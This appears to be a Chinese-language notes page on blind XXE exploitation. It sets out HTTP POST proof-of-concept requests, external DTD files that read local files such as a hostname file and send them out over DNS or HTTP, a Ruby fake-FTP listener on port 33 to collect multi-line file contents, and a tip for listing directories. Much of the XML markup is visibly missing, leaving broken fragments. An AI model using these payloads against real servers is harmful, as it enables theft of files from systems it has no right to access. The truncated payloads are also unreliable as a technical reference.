blind XXE payload


简单验证

POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close

<?xml version="1.0" encoding="UTF-8"?>

%remote;]>

接收信息以证明

XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。
要将信息发出来还需要再自己服务器上构造DTD。

1) 接收单行文件信息(主机名)

发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close

<?xml version="1.0" encoding="UTF-8"?>

%remote;]>



cc.xml文件

">
%int;
%send;

> 没错,就是取值符号加井号加37加分号

这个不太稳定,多发几遍。
发了几十遍出来了几次dns请求。
估计是在读文件拼接发请求处有什么拦截

这里怀疑/kernel/hostname文件中有转义字符、空格、换行符什么的,所以可能造成拼在域名中,无法发出dns信息。
所以用http log也挺好的

">
%int;
%send;

2) 接收多行文件信息

一
发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close

<?xml version="1.0" encoding="UTF-8"?>

%remote;]>


二
cc.xml文件

">
%int;
%send;

三
再再服务器上监听设定的端口(这里写的是33端口)
vi ftp.rb

require 'socket'
server = TCPServer.new 33
loop do
  Thread.start(server.accept) do |client|
    print "New client connected\n"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        print "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
    print "\n"
  end
end

ruby ftp.rb

列目录的DTD

把文件路径换成文件夹名就能列目录了


">
%int;
%send;

helps

github监听脚本-ruby
xxe总结
XXE利用